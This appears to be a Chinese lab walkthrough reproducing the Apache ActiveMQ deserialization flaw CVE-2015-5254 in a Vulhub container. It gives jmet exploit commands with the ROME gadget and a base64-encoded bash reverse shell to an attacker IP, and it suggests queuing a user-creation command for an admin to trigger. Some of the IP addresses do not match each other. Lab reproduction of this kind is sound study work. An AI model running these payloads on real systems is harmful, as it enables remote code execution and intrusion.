1 介绍

1.1 ActiveMQ

Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

1.2 漏洞成因

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

1.3 JMS

JavaEE中定义的“Java消息服务”(JMS),定义了Java中访问消息中间件的接口。JMS只是一套接口,并没有给予实现,各大厂商和开源组织都对JMS实现不同产品,这些产品包括:Apache的ActiveMQ、阿里的RocketMQ、IBM的MQSeries、Microsoft的MSMQ和 Spring Source的RabbitMQ等等,它们基本都遵循JMS规范。

JMS消息由以下三部分组成的:

  • 消息头:​ 每个消息头字段都有相应的getter和setter方法。
  • 消息属性:如果需要除消息头字段以外的值,那么可以使用消息属性。
  • 消息体:JMS定义的消息类型有TextMessage、MapMessage、BytesMessage、StreamMessage和ObjectMessage。
消息类型
属性类型
TextMessage文本消息
MapMessagek/v
BytesMessage字节流
StreamMessagejava原始的数据流
ObjectMessage序列化的java对象

1.4 漏洞利用限制

  • 版本符合Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
  • 立即执行代码:能够有弱密码登录查看消息队列
  • 没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发(比较鸡肋,但可以写入创建用户命令等待管理员点击查看,概率很大!)

1.5 业务场景

消息队列在大型电子商务类网站(JD、淘宝等)深入应用,主要消除高并发访问高峰,加快网站响应速度。(Tips:介绍业务场景便于我们对拿到一个站点思考是否可能应用此消息队列组件)
(例如:不使用消息队列用户请求会直接写入数据库,在高并发情况下会对数据库造成大压力,使系统响应延迟加剧。在使用消息队列后,用户的请求发给队列后不会立即返回,如有时提交了订单,系统提示:“您提交了订单、请等待系统确认!”再由消息队列组件从消息队列中获取数据,异步写入数据库,从而响应延迟得以改善)

2 漏洞复现

靶机:Centos 7.4(IP:192.168.57.157)

攻击机:kali2022.1(IP:192.168.57.156)

Centos7下载安装参考:CentOS 7 安装教程_centos7安装教程-CSDN博客

我第一次复现靶机用的是kali2022.1,在验证的时候一直报错,各种找原因未果,就决定换个系统,所以这里大家自行决定就好,说不定你们用kali就成功了。

ActiveMQ 版本:5.11.1

2.1 安装

2.1.1 安装Docker

(1)打开终端,切换至root用户,输入命令。安装过程中有多次需要确认,输入y,或者直接在安装命令中增加 -y,来默认输入y回复。

yum install docker -y

等待,漫长的等待...

(2)当出现“完毕”时,安装结束!

(3)启动docker服务,设置docker随开机自动开启

systemctl start docker.service
systemctl enable docker.service

2.1.2 安装docker-compose

Docker-compose用于组合服务与内网。有部分环境涉及到多个容器,且不同环境开启的端口、目录也不相同,所以Vulhub选择使用docker-compose做环境一键化管理工具。用户不再需要学习docker命令的各种参数与用法,只需要简单地执行docker-compose up -d即可启动容器。

sudo curl -L "https://github.com/docker/compose/releases/download/1.29.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose

又一个不吱声就报错,怀疑是不是网没连上,ping百度没问题

然后怀疑是防火墙没关的缘故,暂时关闭防火墙,完美解决!

(2)对二进制文件添加可执行权限,创建直接使用docker-compose命令的链接

sudo chmod +x /usr/local/bin/docker-compose
ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

2.1.3 安装Vulhub

(1)安装git

yum -y install git

(2)验证安装是否成功以及查看安装的版本。

git --version

(3)到/usr目录下,下载Vulhub靶场资料到usr目录下

这里又开始频频报错,我上网查到的解答说是gitee上库比较大,而curl的postBuffer 默认值较小,所以会报错,需要调整curl的postBuffer 默认值大小,但可以看到我调整了两次,仍然报错。

又有说把https换成git,我也试过不行。 

又说发生这种情况是git设置了代理,取消代理即可。但我只取消代理还不行,我做实验时开启了VPN,得配置一下http.proxy

git config --global http.proxy 127.0.0.1:1080
git config --global https.proxy 127.0.0.1:1080
git config --global --unset http.proxy
git config --global --unset https.proxy

(4)创建daemon.json文件,在编辑器中输入内容,并保存退出

vim /etc/docker/daemon.json

(5)重启docker

2.2 启用

(1)进入到vulhub文件夹中。可以查看到该目录下有多个靶场目录,每个子目录下都有一个或多个漏洞环境,然后进入该漏洞环境所在目录

cd /usr/vulhub/activemq/CVE-2015-5254

(2)启动docker,会自动调用搭建漏洞环境

docker-compose build
docker-compose up -d

(3)访问靶机的8186端口,看看是否部署成功


(4)可以看到主页,然后点击Manage ActiveMQ broker 进入到登录界面,用户名和密码都是admin


(5)在Queues里边可以看到现在在队列里边的任务,但现在里面是空的

 2.3 攻击

(1)构建攻击payload

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

这里我当时觉得太慢了,就从原地址下好直接拖到kali的桌面上了,很方便5s搞定就是说。

(2)在桌面新建一个文件夹ActiveMQ把jar文件放进去并再创建一个external文件夹

(3)接下来到kali里边直接使用jmet-0.1.0-all.jar 创建目录进行验证

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/hacker_test" -Yp ROME 192.168.57.157 61616


(4)返回网站查看,可以看到队列里出现了一个event新的任务


(5)点进event,点进去任务详情触发


(6)进入docker检验漏洞是否存在,看看/tmp下面是否有我们写入的文件,这里的容器号可以输入命令docker ps -a 查看

docker exec -it 8ea85653417b /bin/bash

(7)可以看到文件被成功写入,确认漏洞之后就可以进行getshell,更换一下命令即可。直接反弹shell不行,所以尝试写命令到shell.sh中然后执行(进行Base 64编码)

echo "bash -i >& /dev/tcp/192.168.57.156/4444 0>&1" > /tmp/shell.sh && bash /tmp/shell.sh
bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNDEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}

然后使用 jmet-0.1.0-all.jar 进行漏洞利用,攻击成功

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,ZWNobyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xNDEvNDQ0NCAwPiYxIiA+IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNo}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.217.140 61616


(8)同时kali监听端口,并点击任务详情,kali上能看到成功返回的shell


3 修复建议

升级到最新的版本或者使用官网的修复补丁进行修复。

有条件的可以配置waf规则使用waf进行防护。
 

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐